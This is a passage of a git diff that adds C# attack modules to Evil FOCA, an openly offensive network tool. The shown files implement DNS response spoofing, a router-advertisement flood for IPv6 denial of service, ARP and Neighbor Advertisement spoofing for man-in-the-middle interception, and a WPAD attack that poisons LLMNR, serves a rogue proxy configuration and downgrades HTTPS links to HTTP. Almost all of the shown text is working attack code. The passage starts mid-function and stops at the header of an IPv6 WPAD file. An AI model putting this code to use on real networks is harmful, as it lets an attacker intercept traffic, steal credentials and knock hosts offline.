¿puntero? + br.ReadInt16(); + // type + short type = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // class + br.ReadInt16(); + // ttl + br.ReadInt32(); + // length + short lenAnswer = IPAddress.NetworkToHostOrder(br.ReadInt16()); + + if (type == 0x01) // 0x01 -> 'A' + { + if (lenAnswer == 4) // ipv4. Si es tipo 0x01 ('A') la IP siempre debería tener un tamaño de 4 bytes. + { + + byte[] raw = new byte[p.PayloadPacket.PayloadPacket.PayloadData.Length]; + for (int b = 0; b < p.PayloadPacket.PayloadPacket.PayloadData.Length; b++) + raw[b] = p.PayloadPacket.PayloadPacket.PayloadData[b]; + + IPAddress ipSpoof = GetIpFromSpoofDomain(sbName.ToString()); + if (ip != null) + { + if (ipSpoof.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + { + raw[ms.Position + 0] = ipSpoof.GetAddressBytes()[0]; + raw[ms.Position + 1] = ipSpoof.GetAddressBytes()[1]; + raw[ms.Position + 2] = ipSpoof.GetAddressBytes()[2]; + raw[ms.Position + 3] = ipSpoof.GetAddressBytes()[3]; + // Avanzamos el stream con los 4 bytes que hemos modificado + for (int fool = 0; fool < lenAnswer; fool++) + br.ReadByte(); + } + } + + p.PayloadPacket.PayloadPacket.PayloadData = raw; + } + } + else + { + for (int fool = 0; fool < lenAnswer; fool++) + br.ReadByte(); + } + } + Attack thisAttack = GetAttackFromSpoofDomain(sbName.ToString()); + if (thisAttack != null) + { + // Esto siempre deberia pasar, pero por si acaso hacemos la comprobacón del NULL + if (thisAttack is DNSHijackAttack) + { + ((DNSHijackAttack)thisAttack).spoofsAttacks++; + Program.LogThis("Domain " + sbName.ToString() + " spoofed to " + ip.DestinationAddress.ToString(), Logs.Log.LogType.DNSHijacking); + } + } + return p; + } + + public Packet HijackTest(Packet p) + { + + EthernetPacket ethernet = (EthernetPacket)p; + IpPacket ip = (IpPacket)p.PayloadPacket; + UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; + + MemoryStream ms = new MemoryStream(udp.PayloadData); + BinaryReader br = new BinaryReader(ms); + + StringBuilder sbName = new StringBuilder(); + + string x = ASCIIEncoding.ASCII.GetString(udp.PayloadData); + + // trans id + short id = br.ReadInt16(); + // flags + br.ReadInt16(); + // questions + short questions = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // answers + short answers = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // authority rrs + short authorityRRs = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // aditional rrs + short aditionalRRs = IPAddress.NetworkToHostOrder(br.ReadInt16()); + + for (int i = 0; i < questions; i++) + { + sbName = new StringBuilder(); + + // En este while lee el nombre del dominio al que se le hace la peticion + while (true) + { + byte b = br.ReadByte(); + + if (b == 0x00) + break; + + if ((b > 0 && b < Convert.ToByte('0'))) + { + if (sbName.Length > 0) + sbName.Append("."); + } + else + sbName.Append((char)b); + } + + // type + br.ReadInt16(); + // class + br.ReadInt16(); + } + + for (int i = 0; i < answers; i++) + { + // name ¿puntero? + br.ReadInt16(); + // type + short type = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // class + br.ReadInt16(); + // ttl + br.ReadInt32(); + // length + short lenAnswer = IPAddress.NetworkToHostOrder(br.ReadInt16()); + + if (type == 0x01) // 0x01 -> 'A' + { + if (lenAnswer == 4) // ipv4. Si es tipo 0x01 ('A') la IP siempre debería tener un tamaño de 4 bytes. + { + + byte[] raw = new byte[p.PayloadPacket.PayloadPacket.PayloadData.Length]; + for (int b = 0; b < p.PayloadPacket.PayloadPacket.PayloadData.Length; b++) + raw[b] = p.PayloadPacket.PayloadPacket.PayloadData[b]; + + IPAddress ipSpoof = GetIpFromSpoofDomain(sbName.ToString()); + if (ip != null) + { + if (ipSpoof.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + { + raw[ms.Position + 0] = ipSpoof.GetAddressBytes()[0]; + raw[ms.Position + 1] = ipSpoof.GetAddressBytes()[1]; + raw[ms.Position + 2] = ipSpoof.GetAddressBytes()[2]; + raw[ms.Position + 3] = ipSpoof.GetAddressBytes()[3]; + // Avanzamos el stream con los 4 bytes que hemos modificado + for (int fool = 0; fool < lenAnswer; fool++) + br.ReadByte(); + } + } + + p.PayloadPacket.PayloadPacket.PayloadData = raw; + } + } + else + { + for (int fool = 0; fool < lenAnswer; fool++) + br.ReadByte(); + } + } + Attack thisAttack = GetAttackFromSpoofDomain(sbName.ToString()); + if (thisAttack != null) + { + // Esto siempre deberia pasar, pero por si acaso hacemos la comprobacón del NULL + if (thisAttack is DNSHijackAttack) + { + ((DNSHijackAttack)thisAttack).spoofsAttacks++; + Program.LogThis("Domain " + sbName.ToString() + " spoofed to " + ip.DestinationAddress.ToString(), Logs.Log.LogType.DNSHijacking); + } + } + return p; + } + + + } +} diff --git a/EvilFoca/Attacks/DoSSLAAC.cs b/EvilFoca/Attacks/DoSSLAAC.cs new file mode 100644 index 0000000..9ad0d52 --- /dev/null +++ b/EvilFoca/Attacks/DoSSLAAC.cs @@ -0,0 +1,131 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Threading; +using PacketDotNet; +using PacketDotNet.Utils; +using SharpPcap.WinPcap; +using System.Collections.Generic; + +namespace evilfoca.Attacks +{ + public class DoSSLAAC + { + private const int SendDoSAttackEachXSecs = 5; + private const int NumberOfRouterAdvertisement = 10000; + private WinPcapDevice device; + private Thread threadAttack; + private IList attacks; + private Random random = new Random(); + public static PhysicalAddress MACsrc = DoSSLAAC.GetRandomMAC(); + + public DoSSLAAC(WinPcapDevice device, IList attacks) + { + this.device = device; + this.attacks = attacks; + } + + public void Start() + { + threadAttack = new Thread(new ThreadStart(Attack)); + threadAttack.IsBackground = true; + threadAttack.Start(); + } + + private void Attack() + { + while (true) + { + try + { + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DoSSLAAC && A.attackStatus == Data.AttackStatus.Attacking)) + { + if (attack is evilfoca.Data.DoSSLAACAttack) + { + for (int i = 0; i < NumberOfRouterAdvertisement; i++) + { + //MAC del equipo atacado + PhysicalAddress MACdst = (attack as evilfoca.Data.DoSSLAACAttack).t1.mac; + + //IP de origen aleatoria pero siempre de vinculo local + IPAddress IPsrc = GetRandomLocalIPv6(); + //IP atacada + IPAddress IPdst = (attack as evilfoca.Data.DoSSLAACAttack).t1.ip; + + ICMPv6Packet routerAdvertisement = new ICMPv6Packet(new ByteArraySegment(new ICMPv6.NeighborRouterAdvertisement(MACsrc, GetRandomPrefix(), true).GetBytes())); + IPv6Packet ipv6 = new IPv6Packet(IPsrc, IPdst); + ipv6.PayloadPacket = routerAdvertisement; + ipv6.HopLimit = 255; + EthernetPacket ethernet = new EthernetPacket(MACsrc, MACdst, EthernetPacketType.IpV6); + ethernet.PayloadPacket = ipv6; + Program.CurrentProject.data.SendPacket(ethernet); + } + } + } + + + Thread.Sleep(SendDoSAttackEachXSecs * 1000); + } + catch (ThreadAbortException) + { + return; + } + catch + { + } + } + } + + public static PhysicalAddress GetRandomMAC() + { + byte[] RandomMAC = new byte[6]; + Random random = new Random(); + random.NextBytes(RandomMAC); + return new PhysicalAddress(RandomMAC); + } + + public IPAddress GetRandomLocalIPv6() + { + byte[] Network = new byte[8] { 0xfe, 0x80, 0, 0, 0, 0, 0, 0 }; + byte[] RandomIP = new byte[16]; + random.NextBytes(RandomIP); + Array.Copy(Network, RandomIP, 8); + return new IPAddress(RandomIP); + } + + public byte[] GetRandomPrefix() + { + byte[] prefix = new byte[8]; + random.NextBytes(prefix); + return prefix; + } + + public void Stop() + { + if (threadAttack != null && threadAttack.IsAlive) + { + threadAttack.Abort(); + threadAttack = null; + } + } + + } +} diff --git a/EvilFoca/Attacks/InvalidMacSpoofIPV4.cs b/EvilFoca/Attacks/InvalidMacSpoofIPV4.cs new file mode 100644 index 0000000..46d2970 --- /dev/null +++ b/EvilFoca/Attacks/InvalidMacSpoofIPV4.cs @@ -0,0 +1,137 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net.NetworkInformation; +using PacketDotNet; +using PacketDotNet.Utils; +using SharpPcap.WinPcap; +using System.Threading; +using evilfoca.Data; + +namespace evilfoca.Attacks +{ + class InvalidMacSpoofIPV4 + { + private const int SendDoSAttackEachXSecs = 5; //120 + private WinPcapDevice device; + private Thread threadAttack; + private SynchronizedCollection attacks; + + public InvalidMacSpoofIPV4(WinPcapDevice device, SynchronizedCollection attacks) + { + this.device = device; + this.attacks = attacks; + } + + public void Start() + { + threadAttack = new Thread(new ThreadStart(Attack)); + threadAttack.IsBackground = true; + threadAttack.Start(); + } + + void pasiveScan_NewARP(object sender, Core.ArpEventArgs e) + { + if (e.p == null) + return; + Packet p = e.p; + if (!(p.PayloadPacket is ARPPacket)) + return; + + ARPPacket arp = (ARPPacket)p.PayloadPacket; + + + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.InvalidMacSpoofIpv4 && A.attackStatus == Data.AttackStatus.Attacking)) + { + if (attack is InvalidMacSpoofAttackIpv4Attack) + { + InvalidMacSpoofAttackIpv4Attack spoofAttack = (InvalidMacSpoofAttackIpv4Attack)attack; + if ((spoofAttack.t1.mac.Equals(arp.SenderHardwareAddress)) && arp.TargetProtocolAddress.Equals(spoofAttack.t2.ip)) + { + ForceAttack(spoofAttack); + } + + } + } + } + + private void Attack() + { + while (true) + { + + try + { + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.InvalidMacSpoofIpv4 && A.attackStatus == Data.AttackStatus.Attacking)) + { + if (attack is InvalidMacSpoofAttackIpv4Attack) + { + ForceAttack((InvalidMacSpoofAttackIpv4Attack)attack); + } + } + + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.InvalidMacSpoofIpv4 && A.attackStatus == Data.AttackStatus.Stopping)) + { + if (attack is InvalidMacSpoofAttackIpv4Attack) + { + ForceRestore((InvalidMacSpoofAttackIpv4Attack)attack); + attack.attackStatus = AttackStatus.Stop; + } + } + + Thread.Sleep(SendDoSAttackEachXSecs * 1000); + } + catch (ThreadAbortException) + { + return; + } + catch + { + } + } + } + + public void ForceAttack(InvalidMacSpoofAttackIpv4Attack attack) + { + EthernetPacket ethernet; + ethernet = new EthernetPacket(device.Interface.MacAddress, ((InvalidMacSpoofAttackIpv4Attack)attack).t1.mac, EthernetPacketType.Arp); + ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((InvalidMacSpoofAttackIpv4Attack)attack).t1.mac, ((InvalidMacSpoofAttackIpv4Attack)attack).t1.ip, ((InvalidMacSpoofAttackIpv4Attack)attack).invalidMac, ((InvalidMacSpoofAttackIpv4Attack)attack).t2.ip); + Program.CurrentProject.data.SendPacket(ethernet); + } + + public void ForceRestore(InvalidMacSpoofAttackIpv4Attack attack) + { + EthernetPacket ethernet; + ethernet = new EthernetPacket(device.Interface.MacAddress, ((InvalidMacSpoofAttackIpv4Attack)attack).t1.mac, EthernetPacketType.Arp); + ethernet.PayloadPacket = new ARPPacket(ARPOperation.Response, ((InvalidMacSpoofAttackIpv4Attack)attack).t1.mac, ((InvalidMacSpoofAttackIpv4Attack)attack).t1.ip, ((InvalidMacSpoofAttackIpv4Attack)attack).t2.mac, ((InvalidMacSpoofAttackIpv4Attack)attack).t2.ip); + Program.CurrentProject.data.SendPacket(ethernet); + } + + public void Stop() + { + if (threadAttack != null && threadAttack.IsAlive) + { + threadAttack.Abort(); + threadAttack = null; + } + } + } +} diff --git a/EvilFoca/Attacks/NASpoofing.cs b/EvilFoca/Attacks/NASpoofing.cs new file mode 100644 index 0000000..b7205f7 --- /dev/null +++ b/EvilFoca/Attacks/NASpoofing.cs @@ -0,0 +1,114 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Net; +using System.Net.NetworkInformation; +using SharpPcap.WinPcap; +using System.Threading; +using PacketDotNet; +using evilfoca.ICMPv6; +using PacketDotNet.Utils; +using evilfoca.Data; + +namespace evilfoca.Attacks +{ + //Clase para realizar el ataque Neighbor Advertisement Spoofing + public class NASpoofing + { + private const int SendPacketEachXSecs = 5; + private WinPcapDevice device; + private Thread threadAttack; + private SynchronizedCollection attacks; + + public NASpoofing(WinPcapDevice device, SynchronizedCollection attacks) + { + this.device = device; + this.attacks = attacks; + } + + public void Start() + { + threadAttack = new Thread(new ThreadStart(Attack)); + threadAttack.IsBackground = true; + threadAttack.Start(); + } + + private void Attack() + { + while (true) + { + try + { + PhysicalAddress MACLocal = device.MacAddress; + + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.NeighborAdvertisementSpoofing && A.attackStatus == Data.AttackStatus.Attacking)) + { + if (attack is MitmAttack) + { + SendNeighborAdvertisement(((MitmAttack)attack).t1.ip, MACLocal, ((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t2.mac); + SendNeighborAdvertisement(((MitmAttack)attack).t2.ip, MACLocal, ((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t1.mac); + } + } + + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.NeighborAdvertisementSpoofing && A.attackStatus == Data.AttackStatus.Stopping)) + { + SendNeighborAdvertisement(((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t1.mac, ((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t2.mac); + SendNeighborAdvertisement(((MitmAttack)attack).t2.ip, ((MitmAttack)attack).t2.mac, ((MitmAttack)attack).t1.ip, ((MitmAttack)attack).t1.mac); + + attack.attackStatus = Data.AttackStatus.Stop; + } + + Thread.Sleep(SendPacketEachXSecs * 1000); + } + catch (ThreadAbortException) + { + return; + } + catch + { + } + } + } + + static public void SendNeighborAdvertisement(IPAddress ipSrc, PhysicalAddress MACSrc, IPAddress ipDest, PhysicalAddress MACDest) + { + Packet p = new EthernetPacket(MACSrc, MACDest, EthernetPacketType.IpV6); + p.PayloadPacket = new IPv6Packet(ipSrc, ipDest); + (p.PayloadPacket as IPv6Packet).HopLimit = 255; + NeighborAdvertisement NA = new NeighborAdvertisement(ipSrc, MACSrc); + ICMPv6Packet icmp = new ICMPv6Packet(new ByteArraySegment(NA.GetBytes())); + icmp.Type = (ICMPv6Types)136; //Neighbor Advertisement + icmp.Code = 0; + p.PayloadPacket.PayloadPacket = icmp; + Program.CurrentProject.data.SendPacket(p); + } + + public void Stop() + { + if (threadAttack != null && threadAttack.IsAlive) + { + threadAttack.Abort(); + threadAttack = null; + } + } + + } +} diff --git a/EvilFoca/Attacks/SlaacMITM.cs b/EvilFoca/Attacks/SlaacMITM.cs new file mode 100644 index 0000000..0967af9 --- /dev/null +++ b/EvilFoca/Attacks/SlaacMITM.cs @@ -0,0 +1,120 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Threading; +using PacketDotNet; +using PacketDotNet.Utils; +using SharpPcap.WinPcap; +using System.Collections.Generic; + +namespace evilfoca.Attacks +{ + /// + /// Realiza una denegacion de servicio IPv4 a los objetivos y realiza un MITM entre ambos mediante IPv6 utilizando SLAAC + /// + class SlaacMITM + { + private const int SendPacketEachXSecs = 4; + + private WinPcapDevice device; + private Thread threadAttack; + private IList attacks; + public static PhysicalAddress invalidMac; + + public SlaacMITM(WinPcapDevice device, IList attacks) + { + this.device = device; + this.attacks = attacks; + + invalidMac = PhysicalAddress.Parse("00-00-00-00-00-00"); + } + + public void Start() + { + threadAttack = new Thread(new ThreadStart(Attack)); + threadAttack.IsBackground = true; + threadAttack.Start(); + } + + private void Attack() + { + while (true) + { + try + { + + /* INICIAR EL ATAQUE MODIFICANDO LA CACHE ARP (DoS IPv4) Y LAS TABLAS DE VECINOS (IPv6 SLAAC) */ + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.SlaacMitm && A.attackStatus == Data.AttackStatus.Attacking)) + { + if (attack is evilfoca.Data.MitmAttack) + { + evilfoca.Data.MitmAttack slaacMitm = (evilfoca.Data.MitmAttack)attack; + EthernetPacket ethernet; + + { + IPAddress myIP = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Program.CurrentProject.data.GetDevice()); + PhysicalAddress myMac = Program.CurrentProject.data.GetDevice().MacAddress; + + // IPv6 (de vinculo local) y MAC atacada + IPAddress IPdst = slaacMitm.t2.ip; + PhysicalAddress MACdst = slaacMitm.t2.mac; + + ICMPv6Packet routerAdvertisement = new ICMPv6Packet(new ByteArraySegment(new ICMPv6.NeighborRouterAdvertisement(myMac, slaacMitm.prefix, false).GetBytes())); + IPv6Packet ipv6 = new IPv6Packet(myIP, IPdst); + ipv6.PayloadPacket = routerAdvertisement; + ipv6.HopLimit = 255; + + ethernet = new EthernetPacket(myMac, MACdst, EthernetPacketType.IpV6); + ethernet.PayloadPacket = ipv6; + Program.CurrentProject.data.SendPacket(ethernet); + + } + + } + } + + /* PARAR ATAQUE Y RESTAURAR LA CACHE DNS Y TABLAS DE VECINOS */ + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.SlaacMitm && A.attackStatus == Data.AttackStatus.Stopping)) + { + if (attack is evilfoca.Data.MitmAttack) + { + evilfoca.Data.MitmAttack slaacMitm = (evilfoca.Data.MitmAttack)attack; + + /* Enviar paquetes para que pare la denegacion de servicio IPv4 */ + + /* Enviar paquetes para que pare el envenenamiento de vecino IPv6 */ + + attack.attackStatus = Data.AttackStatus.Stop; + } + } + + + Thread.Sleep(SendPacketEachXSecs * 1000); + } + catch + { + + } + + + } + } + } +} diff --git a/EvilFoca/Attacks/WpadIPv4Attack.cs b/EvilFoca/Attacks/WpadIPv4Attack.cs new file mode 100644 index 0000000..ac9050d --- /dev/null +++ b/EvilFoca/Attacks/WpadIPv4Attack.cs @@ -0,0 +1,331 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using evilfoca.HTTP; +using PacketDotNet; +using SharpPcap.WinPcap; +using System; +using System.IO; +using System.Net; +using System.Net.NetworkInformation; +using System.Text; + +namespace evilfoca.Attacks +{ + public class WpadIPv4Attack + { + + private const int proxyPort = 61642; + private const int maxLength = 1300; + private HttpListener httpListener; + + private static object locker = new object(); + private static object getterLocker = new object(); + private static WpadIPv4Attack _instance; + public static WpadIPv4Attack Instance + { + get + { + if (_instance == null) + { + lock (getterLocker) + { + if (_instance == null) + _instance = new WpadIPv4Attack(); + } + } + return _instance; + } + } + + private WpadIPv4Attack() + { + CreateProxyListener(); + } + + + public void GenerateLLMNRResponse(Packet packet) + { + try + { + LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket(); + llmnr.ParsePacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData); + if (llmnr.Query.Name.ToLower().Equals("wpad") && llmnr.Query.Type.Value == LLMNR.DNSType.A) + { + + WinPcapDevice dev = Program.CurrentProject.data.GetDevice(); + IPAddress ip = Program.CurrentProject.data.GetIPv4FromDevice(dev); + byte[] ipv4Addr = ip.GetAddressBytes(); + + llmnr.AnswerList.Add(new LLMNR.DNSAnswer() + { + Class = evilfoca.LLMNR.DNSClass.IN, + Name = llmnr.Query.Name, + Type = evilfoca.LLMNR.DNSType.A, + RData = ipv4Addr, + RDLength = (short)ipv4Addr.Length, + TTL = 12 + }); + llmnr.IsResponse = true; + + + EthernetPacket ethDns = new EthernetPacket(dev.MacAddress, ((EthernetPacket)packet).SourceHwAddress, EthernetPacketType.IpV4); + IPv4Packet ipv4Dns = new IPv4Packet(ip, ((IPv4Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress); + UdpPacket udpDns = new UdpPacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort, ((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort); + + udpDns.PayloadData = llmnr.BuildPacket(); + + ipv4Dns.PayloadPacket = udpDns; + + + udpDns.UpdateCalculatedValues(); + udpDns.UpdateUDPChecksum(); + + ipv4Dns.UpdateIPChecksum(); + ipv4Dns.UpdateCalculatedValues(); + ethDns.PayloadPacket = ipv4Dns; + Program.CurrentProject.data.SendPacket(ethDns); + } + } + catch (Exception) + { + } + } + + public void SendWpadFile(Packet packet) + { + lock (locker) + { + if (packet is EthernetPacket) + { + EthernetPacket ethPacket = packet as EthernetPacket; + IPv4Packet ipv4Source = (IPv4Packet)packet.PayloadPacket; + + if (ipv4Source.PayloadPacket is PacketDotNet.TcpPacket) + { + TcpPacket tcp = ipv4Source.PayloadPacket as TcpPacket; + string element = string.Format("{0}/{1}", tcp.SequenceNumber, tcp.AcknowledgmentNumber); + + + ushort destPort = tcp.SourcePort; + ushort sourcePort = tcp.DestinationPort; + IPAddress destAddress = ipv4Source.SourceAddress; + IPAddress sourceAddress = ipv4Source.DestinationAddress; + PhysicalAddress sourceMac = Program.CurrentProject.data.GetDevice().MacAddress; + PhysicalAddress destMac = ethPacket.SourceHwAddress; + + tcp.SourcePort = sourcePort; + tcp.DestinationPort = destPort; + + if (tcp.Syn && !tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0 && sourcePort == 80) + { + tcp.Ack = true; + tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1; + tcp.SequenceNumber = tcp.SequenceNumber + 38; + tcp.WindowSize = 14600; + + IPv4Packet ipv4Ack = new IPv4Packet(sourceAddress, destAddress); + ipv4Ack.PayloadPacket = tcp; + + EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV4); + + eth.PayloadPacket = ipv4Ack; + (eth.PayloadPacket as IPv4Packet).UpdateIPChecksum(); + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + else if (!tcp.Syn && tcp.Ack && tcp.PayloadData != null && !tcp.Rst && tcp.PayloadData.Length > 0 && sourcePort == 80) + { + if (Data.Data.WpadReqList.Contains(element)) + return; + + Data.Data.WpadReqList.Add(element); + HttpPacket http = new HttpPacket(((TcpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData); + if (http.FullUrlRequest.Contains("wpad.dat")) + { + tcp.Psh = true; + tcp.Fin = true; + tcp.Ack = true; + tcp.SequenceNumber = (ipv4Source.PayloadPacket as TcpPacket).AcknowledgmentNumber; + tcp.AcknowledgmentNumber = tcp.SequenceNumber; + string jsFunction = string.Format("function FindProxyForURL(url, host){{return \"PROXY {0}:{1}\";}}", ipv4Source.DestinationAddress.ToString(), proxyPort); + string htmlHeader = string.Format("HTTP/1.1 200 OK\r\nContent-Type: application/x-ns-proxy-autoconfig\r\nContent-Length: {0}\r\n\r\n", jsFunction.Length); + tcp.PayloadData = System.Text.Encoding.UTF8.GetBytes(string.Concat(htmlHeader, jsFunction)); + + + EthernetPacket eth = new EthernetPacket(ethPacket.DestinationHwAddress, ethPacket.SourceHwAddress, EthernetPacketType.IpV4); + IPv4Packet ip4 = new IPv4Packet(ipv4Source.DestinationAddress, ipv4Source.SourceAddress); + ip4.PayloadPacket = tcp; + + eth.PayloadPacket = ip4; + + (eth.PayloadPacket as IPv4Packet).UpdateIPChecksum(); + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + else if (tcp.Fin && tcp.Ack && !tcp.Rst && tcp.PayloadData.Length == 0) + { + tcp.Ack = true; + tcp.Fin = false; + uint ackOrg = tcp.AcknowledgmentNumber; + tcp.AcknowledgmentNumber = tcp.SequenceNumber + 1; + tcp.SequenceNumber = ackOrg; + tcp.WindowSize = 1400; + + IPv4Packet ipv4Ack = new IPv4Packet(sourceAddress, destAddress); + ipv4Ack.PayloadPacket = tcp; + EthernetPacket eth = new EthernetPacket(sourceMac, destMac, EthernetPacketType.IpV4); + eth.PayloadPacket = ipv4Ack; + + (eth.PayloadPacket as IPv4Packet).UpdateIPChecksum(); + (eth.PayloadPacket.PayloadPacket as TcpPacket).UpdateTCPChecksum(); + Program.CurrentProject.data.SendPacket(eth); + } + } + } + } + } + + private void CreateProxyListener() + { + try + { + if (HttpListener.IsSupported) + { + httpListener = new HttpListener(); + httpListener.Prefixes.Add(string.Format("http://*:{0}/", proxyPort)); + httpListener.Start(); + httpListener.BeginGetContext(HttpRequestReceived, null); + Program.LogThis(string.Format("Proxy up on port {0}", proxyPort), Logs.Log.LogType.WpadIPv4); + } + else + { + Program.LogThis("Your OS does not support HttpListener", Logs.Log.LogType.WpadIPv4); + } + } + catch (Exception e) + { + Program.LogThis(string.Format("Cannot create Proxy on port {0}. Error: {1}", proxyPort, e.Message), Logs.Log.LogType.WpadIPv4); + } + + } + + private void HttpRequestReceived(IAsyncResult result) + { + HttpListenerResponse response = null; + try + { + HttpListenerContext context = httpListener.EndGetContext(result); + HttpListenerRequest request = context.Request; + Program.LogThis(string.Format("Request from {0}", request.RemoteEndPoint.Address.ToString()), Logs.Log.LogType.WpadIPv4); + response = context.Response; + + if (request.Url.Host.Contains("google") && request.Url.PathAndQuery.Contains("/xjs/_/js/")) + throw new WebException("", null, WebExceptionStatus.UnknownError, null); + + HttpWebRequest evilReq = HttpUtils.CreateWebRequest(request); + HttpWebResponse evilResponse = evilReq.GetResponse() as HttpWebResponse; + + if ((evilResponse.StatusCode == HttpStatusCode.Redirect || evilResponse.StatusCode == HttpStatusCode.Moved || evilResponse.StatusCode == HttpStatusCode.Found) + && !string.IsNullOrEmpty(evilResponse.Headers[HttpResponseHeader.Location]) + && evilResponse.Headers[HttpResponseHeader.Location].Equals(evilReq.RequestUri.ToString().Replace("http://", "https://"))) + { + evilReq = HttpUtils.CreateWebRequest(request, new Uri(evilResponse.Headers[HttpResponseHeader.Location])); + evilResponse = evilReq.GetResponse() as HttpWebResponse; + } + + HttpUtils.CreateListenerResponse(evilResponse, ref response); + + using (System.IO.Stream output = response.OutputStream) + { + using (BinaryReader reader = new BinaryReader(evilResponse.GetResponseStream())) + { + int bytesRead; + byte[] buffer = new byte[maxLength]; + Encoding responseEncoding = null; + while ((bytesRead = reader.Read(buffer, 0, buffer.Length)) > 0) + { + Array.Resize(ref buffer, bytesRead); + if (evilResponse.ContentType.ToLower().Contains("html") || evilResponse.ContentType.ToLower().Contains("javascript") || evilResponse.ContentType.ToLower().Contains("json")) + { + if (responseEncoding == null) + responseEncoding = GetResponseEncoding(evilResponse.CharacterSet); + string htmlContent = responseEncoding.GetString(buffer); + htmlContent = htmlContent.Replace("https", "http").Replace("Https", "http"); + + byte[] htmlBytes = responseEncoding.GetBytes(htmlContent); + + output.Write(htmlBytes, 0, htmlBytes.Length); + } + else + output.Write(buffer, 0, buffer.Length); + + buffer = new byte[maxLength]; + } + } + } + evilResponse.Close(); + } + catch (WebException) + { + if (response != null) + { + response.StatusCode = 404; + response.ContentLength64 = 0; + } + } + catch (Exception) + { } + finally + { + if (response != null) + response.Close(); + httpListener.BeginGetContext(HttpRequestReceived, null); + } + + + } + + private static Encoding GetResponseEncoding(string encodingValue) + { + Encoding enc; + try + { + enc = Encoding.GetEncoding(encodingValue); + } + catch (ArgumentException) + { + switch (encodingValue) + { + case "cp1252": + enc = Encoding.GetEncoding("Windows-1252"); + break; + case "utf8": + enc = Encoding.UTF8; + break; + default: + enc = Encoding.UTF8; + break; + } + } + + + return enc; + } + } +} diff --git a/EvilFoca/Attacks/WpadIPv6Attack.cs b/EvilFoca/Attacks/WpadIPv6Attack.cs new file mode 100644 index 0000000..630b3af --- /dev/null +++ b/EvilFoca/Attacks/WpadIPv6Attack.cs @@ -0,0 +1,326 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by 